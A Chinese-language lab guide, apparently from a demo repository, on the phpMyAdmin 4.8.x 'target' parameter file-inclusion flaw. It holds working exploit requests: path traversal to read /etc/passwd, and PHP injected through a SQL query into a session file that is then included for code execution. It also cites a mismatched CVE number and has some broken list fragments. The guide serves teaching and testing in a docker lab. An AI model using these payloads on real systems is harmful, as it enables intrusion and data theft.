本指南将帮助你安装存在漏洞的组件,并针对与 CVE-2018-1263 相关的 phpMyAdmin 漏洞执行攻击。
此漏洞利用与 phpMyAdmin 4.8.x 版本(4.8.2 之前)中发现的一个问题相关。通过利用此问题,攻击者可以在服务器上执行远程代码执行和本地文件包含。该漏洞源于负责在 phpMyAdmin 内重定向和加载页面的代码部分。该代码对白名单页面的检查存在缺陷,使得攻击成为可能。攻击者必须经过身份验证,但在 $cfg['AllowArbitraryServer'] = true 的情况下(攻击者可以指定其已控制的任何主机,并在 phpMyAdmin 上执行任意代码)以及 $cfg['ServerDefault'] = 0 的情况下(绕过登录要求,无需任何身份验证即可运行脆弱代码)除外。
该漏洞是由脆弱的路径检查函数中的验证绕过引起的。此漏洞使经过身份验证的远程攻击者能够在服务器上执行任意 PHP 代码。
在 phpMyAdmin 的 index.php 中存在一个文件包含漏洞,可以通过在 URL 中提供名为 target 的参数来触发,而验证 target 参数的代码部分如下所示:
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
// ...
在这段代码中,一旦 if 条件满足,它就会执行 include $_REQUEST['target'];。因此,我们只需要绕过 if 条件即可执行我们想要的操作。
让我们看看 if 条件中的各个部分:
target 参数不能为空且必须是字符串。target 参数不能以 index 开头。target 参数不能存在于 $target_blacklist 中。
$target_blacklist 在 if 条件之前定义,包含 import.php 和 export.php,意思是除了这两个页面之外,其他任何页面都是允许的。Core::checkPageValidity($_REQUEST['target']) 来验证页面的有效性。
checkPageValidity 会从 $page 中去掉 ? 之后的所有内容,然后检查它是否在白名单中。? 之后的字符串不属于 URL 路径的一部分。代码片段中也展示了一个示例白名单。public static function checkPageValidity(&$page, array $whitelist = [])
{
// ...
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
// example $whitelist == array('db_sql.php', 'sql.php', ...)
if (in_array($_page, $whitelist)) {
return true;
}
// ...
return false;
}
如前所述,攻击者可以通过 URL 中的 $_REQUEST['target'] 参数完全控制 checkPageValidity 函数中的 $page。假设攻击者使用 $_REQUEST['target'] 参数向 $page 发送如下内容:
$page = 'db_sql.php?/../../../../../../../../etc/passwd'
然后,checkPageValidity 函数会执行以下操作:
? 处拆分字符串,并将第一部分赋值给 $_page。因此,在此示例中,$_page = db_sql.php。$_page(即 db_sql.php)是否在白名单中。由于它在白名单中,函数返回 True,并回到 index.php。由于 index.php 中的 if 条件现在为 True,因此会执行如下所示的 index.php 代码片段中的那一行:
include $_REQUEST['target'];
接下来会发生什么?
$_REQUEST['target'] 值,这意味着以下代码会被执行:
GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
db_sql.php 是否存在,因此 /../../../../../../../../etc/passwd 会被执行,并且 /etc/passwd 文件的内容会出现在返回给攻击者的响应中。现在我们可以利用这一点来执行本地文件包含,甚至远程代码执行以获取反向 shell。每当我们在 phpMyAdmin 中执行查询时,它都会创建一个会话文件,并将查询内容存储在 /tmp 目录中。会话文件名为 sess_<SESSION ID>。通过浏览器的检查选项,可以轻松地在 cookie 中找到会话 ID。
因此,如果我们在 phpMyAdmin 中执行以下查询:
SELECT '<?php phpinfo();exit;?>'
它将被存储在会话文件中。假设我们 phpMyAdmin 的会话 ID 是 e15cffd3ab25a631136611fba9ca2042。
然后,如果我们在浏览器中触发以下地址:
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042
phpMyAdmin 将尝试加载会话页面,由于该页面包含通过查询提供的 PHP 代码,因此 PHP 代码会被执行,在此特定示例中,我们将在浏览器加载的页面中看到 phpinfo。利用此技术,我们可以在远程服务器上执行任何任意代码。
漏洞利用基础设施需要存在漏洞的 phpMyAdmin 和 mysql 版本。我们将使用 docker 容器来安装所需组件。对于存在漏洞的 phpMyAdmin 版本,我们将使用 Vulhub 提供的预构建 docker 环境;对于 mysql,我们将使用来自 dockerhub 的最新官方版本。安装脚本以 docker compose yml 脚本的形式提供,可以在本仓库中找到。
我们假设目标机器上已安装 docker 和 docker-compose。如果没有,请参考 docker 文档 进行安装。安装 docker 后,执行以下步骤来设置存在漏洞的组件:
首先,克隆本仓库到目标机器,并导航到克隆的目录:
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo
然后,使用以下命令运行 docker compose 脚本:
sudo docker-compose up -d
安装过程完成后,docker 会将 phpMyAdmin 页面暴露在机器的 8080 端口上。你可以通过在浏览器中打开以下地址格式的页面来检查:
http://your-machine-ip:8080
如果安装过程成功,你应该会看到类似下图的页面:

以下视频是有关如何执行攻击的教程:
视频链接: https://drive.google.com/file/d/1UbLGEwMYswdrRAOMJLd0mFHbsNl1aPvt/preview
[1] https://www.exploit-db.com/exploits/44928
$page,因为它直接来自 $_REQUEST['target']。